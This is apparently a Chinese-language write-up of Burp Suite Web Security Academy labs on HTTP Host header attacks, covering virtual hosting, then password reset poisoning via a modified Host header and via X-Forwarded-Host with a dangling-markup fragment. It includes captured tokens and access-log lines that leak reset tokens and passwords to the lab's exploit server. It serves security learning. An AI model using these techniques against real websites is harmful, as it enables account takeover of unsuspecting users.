引子
有时候我们可以通过不同的主机头访问同一个IP上不同的内容,这是怎么实现的?
1. Virtual hosting 虚拟主机
虚拟主机技术允许同一个服务器上托管多个应用程序,用户通过指定http头中的host字段,让服务器通过判断host,将不同的请求路由到对应的站点或应用。
一个web服务器上托管多个应用程序或网站,有可能是单一所有者的多个网站,也可能是不同所有者的网站托管在同一个服务器。
2.Routing traffic via an intermediary 通过中介路由流量
另一种情况是网站托管在不同的后端服务器,在客户端和服务器之间所有流量通过中介系统路由。
中介路由系统,简单的负载平衡器或某种反向代理服务器,客户端通过内容交付系统(cdn)访问服务器时,这种设置尤其普遍。
这种情况下,服务托管在不同的后端服务器,但是所有的域名也会解析为中间组件的单个IP。
这时中间组件通过host字段为每个域名解析到对应的后端服务器。
一、burpsuite 的 HTTP Host header attacks HTTP主机标头攻击 实验室
密码重置
实验室通过对一个密码重置漏洞的复现来体现 主机头host字段的作用
1.web服务器,0a8500f8039d37318501588300ab00b1.web-security-academy.net
2.邮件服务器,exploit-0a08004b03c5379f85db570601df002d.exploit-server.net
拥有一个账户 wiener:peter
web服务器登陆后可以查看自己的邮件地址,同时网站有一个找回密码的功能点
可以看到尝试了多个用户,只有winner的用户的发送的请求更改密码的的请求可以被我们接受到,因为我们拥有 winner 这个用户 和winner 的邮箱。
同时当我们使用winner 这个用户,但是将host 字段更改为 thesistest 时
可以看到 返回的重置密码的链接中有一些更改
按正常的逻辑,拥有这个用户的人才可以在自己的邮箱访问重置密码的链接,重置自己的密码。
但是我们应该知道 每一次请求重置密码都会触发 一个发送邮件的动作
当访问carlos 用户时,将发送一个重置密码链接到 carlos邮箱,同时我们注意到实验室设置 carlos用户会及时点击这个链接。
我们对服务器的访问会在access log 中体现,那么当这个链接被修改通向服务器,我们可以查看到token
我们可以构造一个host 为邮件服务器,用户名为carlos 的请求
获得了一个token :yvm17xu7fngf99pv9o0j5yc5m4r3bzy7
确切的说,是获得了 重置密码的链接,只要将链接修改一下,访问就可以进入重置密码的页面。
10.0.4.193 2024-08-17 12:07:19 +0000 “GET /forgot-password?temp-forgot-password-token=yvm17xu7fngf99pv9o0j5yc5m4r3bzy7 HTTP/1.1” 404 “user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36”
在这个场景中 host 是确定web服务器域名的标志,用户名 是生成token的材料,也是指定邮件发送地址的标志。
按照正常的情况,似乎应该由用户自己提交邮箱地址,这里怎么由用户名来指定对应的邮箱地址。(是应该由用户名来查找用户自己设置的邮箱地址,只有注册才应该由用户自己提供邮箱地址。)
在这种情况下,重置密码的url 中web服务器对应的域名,由host字段提供,当我们修改host字段,url指向的服务器就被修改了。
重要的token 就会被发送到 攻击者指定的域名服务器。
password reset poisoning 网站框架或中间件配置不当 实验室
尝试构建 场景1.虚拟主机 当服务器上有九个网站每个都需要重置密码,重置密码的流程是客户端向服务端请求重置密码,网站向对应用户的邮件服务器发送一个邮件 ,邮件中包含一个重置密码的链接,点击链接可以跳转到功能点。
现在问题来了,重置密码的url 需要使用域名指向对应的网站。(1)由网站来发送邮件,网站不可以将url写死吗?
上述的场景,可以不使用动态调整域名。
2.中介路由
多台服务器后端服务:当你有多个后端服务器服务于同一个域名或多个域名时,通常会使用反向代理(如 Nginx、HAProxy)或负载均衡器来分发请求。这些代理服务器会将请求转发到适当的后端服务器,并可能通过 X-Forwarded-Host 头来传递客户端请求的原始主机名。
总而言之,当我们修改 X-Forwarded-Host 主机头,目标服务器设置为 自己选择的服务器。
‘<a href=”//exploit-0a3900ca0421ea8480254840014600f5.exploit-server.net/?
<p>Hello!</p><p>Please <a href='https://0ac1009f04e4ea7c80f0493f00a20080.web-security-academy.net/login'>click here</a> to login with your new password: guxthhaoM3</p>
10.0.4.234 2024-08-18 08:24:07 +0000 "GET /?/login'>click+here</a>+to+login+with+your+new+password:+EAl6JlKOG2</p><p>Thanks,<br/>Support+team</p><i>This+email+has+been+scanned+by+the+MacCarthy+Email+Security+service</i> HTTP/1.1" 200